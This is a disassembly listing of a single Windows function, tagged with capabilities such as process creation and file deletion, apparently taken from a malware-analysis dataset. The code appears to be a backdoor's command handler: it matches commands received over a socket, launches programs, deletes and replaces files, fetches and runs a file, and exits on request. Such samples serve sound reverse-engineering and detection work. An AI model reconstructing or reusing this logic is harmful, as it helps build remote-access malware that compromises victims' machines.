Function at 0x419b08
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 8
push 0
push 0
dec ecx
jne 0x419b11
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x41a16e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004046f0
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 8]
call fcn.004072e0
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 8]
call fcn.004046f0
mov eax, dword [ebp - 8]
test eax, eax
je 0x419b5e
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x41a13d
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
mov edx, 0x41a184
mov eax, ebx
call fcn.0041a638
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a190
call fcn.00404a5c
jne 0x419b91
call fcn.00419ae8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1a0
call fcn.00404a5c
jne 0x419bbc
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [0x41dc8c]
call fcn.00406b48
push 0
call sub.KERNEL32.DLL_ExitProcess_1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1b4
call fcn.00404a5c
jne 0x419c27
call fcn.0041a7e0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x1c]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
call fcn.00407364
mov edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
pop ecx
call fcn.0041aa6c
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1c0
call fcn.00404a5c
jne 0x419c62
call fcn.0041a7e0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
call fcn.00407364
mov edx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
pop ecx
call fcn.0040abdc
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1cc
call fcn.00404a5c
jne 0x419ca9
call fcn.0041a7e0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
call fcn.00407364
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
call fcn.0040a930
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1dc
call fcn.00404a5c
jne 0x419cf0
call fcn.0041a7e0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
call fcn.00407364
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
call fcn.00409944
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1ec
call fcn.00404a5c
jne 0x419d30
call fcn.0041a7e0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
call fcn.00407364
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
call fcn.00407364
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
call fcn.0040c0d8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a1fc
call fcn.00404a5c
jne 0x419d52
call fcn.0041a7e0
mov edx, 0x41a210
mov eax, ebx
call fcn.0041a778
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a228
call fcn.00404a5c
jne 0x419d73
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
push 0
call sub.KERNEL32.DLL_ExitProcess_1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a238
call fcn.00404a5c
jne 0x419da1
lea eax, [ebp - 0x18]
mov ecx, dword [0x4236f8]
mov edx, 0x41a248
call fcn.0040494c
mov edx, dword [ebp - 0x18]
mov eax, ebx
call fcn.0041a778
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a258
call fcn.00404a5c
jne 0x419df6
push 5
push 0
push 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
call fcn.00404ac4
push eax
push 0x41a260
push esi
call sub.shell32.dll_ShellExecuteA
push 0x41a248
mov eax, dword [ebp - 0xc]
push dword [eax + 4]
push 0x41a270
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004049c8
mov edx, dword [ebp - 0x1c]
mov eax, ebx
call fcn.0041a778
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a284
call fcn.00404a5c
jne 0x419e39
mov eax, dword [0x41dc90]
call fcn.00406cf0
test al, al
je 0x419e39
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_closesocket
mov eax, dword [0x41dc90]
call fcn.00406d84
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 0
call sub.KERNEL32.DLL_ExitProcess_1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a294
call fcn.00404a5c
jne 0x419f3a
mov eax, 0x423718
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 4]
call fcn.004046ac
lea eax, [ebp - 0x20]
call fcn.004074a0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov eax, 0x423714
call fcn.0040494c
push 0x41a2a0
call sub.KERNEL32.DLL_GetModuleHandleA_2
mov edi, eax
push 0x41a2b0
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
push 0x41a2bc
push edi
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [ebp - 0x10], eax
push 0x41a2cc
push esi
call dword [ebp - 0x10]
mov edi, eax
mov eax, dword [0x423714]
call fcn.004073a8
test al, al
je 0x419ec8
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov edx, 0x41a2e8
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 0
push 0
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
mov eax, dword [0x423718]
call fcn.00404ac4
push eax
push 0
call edi
mov edx, 0x41a308
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 5
push 0
push 0
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
push 0x41a260
push esi
call sub.shell32.dll_ShellExecuteA
mov edx, 0x41a324
mov eax, ebx
call fcn.0041a778
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a340
call fcn.00404a5c
jne 0x41a05a
mov eax, 0x423718
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 4]
call fcn.004046ac
lea eax, [ebp - 0x24]
call fcn.004074a0
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov eax, 0x423714
call fcn.0040494c
push 0x41a2a0
call sub.KERNEL32.DLL_GetModuleHandleA_2
mov edi, eax
push 0x41a2b0
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
push 0x41a2bc
push edi
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [ebp - 0x10], eax
push 0x41a2cc
push esi
call dword [ebp - 0x10]
mov edi, eax
mov eax, dword [0x423714]
call fcn.004073a8
test al, al
je 0x419fc9
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov edx, 0x41a2e8
mov eax, ebx
call fcn.0041a778
push 0
push 0
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
mov eax, dword [0x423718]
call fcn.00404ac4
push eax
push 0
call edi
mov edx, 0x41a308
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 5
push 0
push 0
mov eax, dword [0x423714]
call fcn.00404ac4
push eax
push 0x41a260
push esi
call sub.shell32.dll_ShellExecuteA
mov edx, 0x41a324
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
mov eax, dword [0x423714]
call fcn.004073a8
test al, al
je 0x41a05a
mov eax, dword [0x41dc8c]
call fcn.00406b48
push 0
call sub.KERNEL32.DLL_ExitProcess_1
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov edx, 0x41a350
call fcn.00404a5c
jne 0x41a13d
push 0x41a364
lea eax, [ebp - 0x2c]
call fcn.00407ce8
push dword [ebp - 0x2c]
push 0x41a184
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.004049c8
mov edx, dword [ebp - 0x28]
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 0x41a374
lea eax, [ebp - 0x34]
call fcn.0040ade0
push dword [ebp - 0x34]
push 0x41a184
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.004049c8
mov edx, dword [ebp - 0x30]
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 0x41a384
lea eax, [ebp - 0x3c]
call fcn.00407a80
push dword [ebp - 0x3c]
push 0x41a184
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.004049c8
mov edx, dword [ebp - 0x38]
mov eax, ebx
call fcn.0041a778
push 0x3e8
call sub.KERNEL32.DLL_Sleep_1
push 0x41a394
lea eax, [ebp - 0x44]
call fcn.0041992c
push dword [ebp - 0x44]
push 0x41a184
lea eax, [ebp - 0x40]
mov edx, 3
call fcn.004049c8
mov edx, dword [ebp - 0x40]
mov eax, ebx
call fcn.0041a778
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41a175
lea eax, [ebp - 0x44]
mov edx, 0xd
call fcn.0040467c
lea eax, [ebp - 0xc]
mov edx, dword [0x419994]
call fcn.00405860
lea eax, [ebp - 8]
call fcn.00404658
ret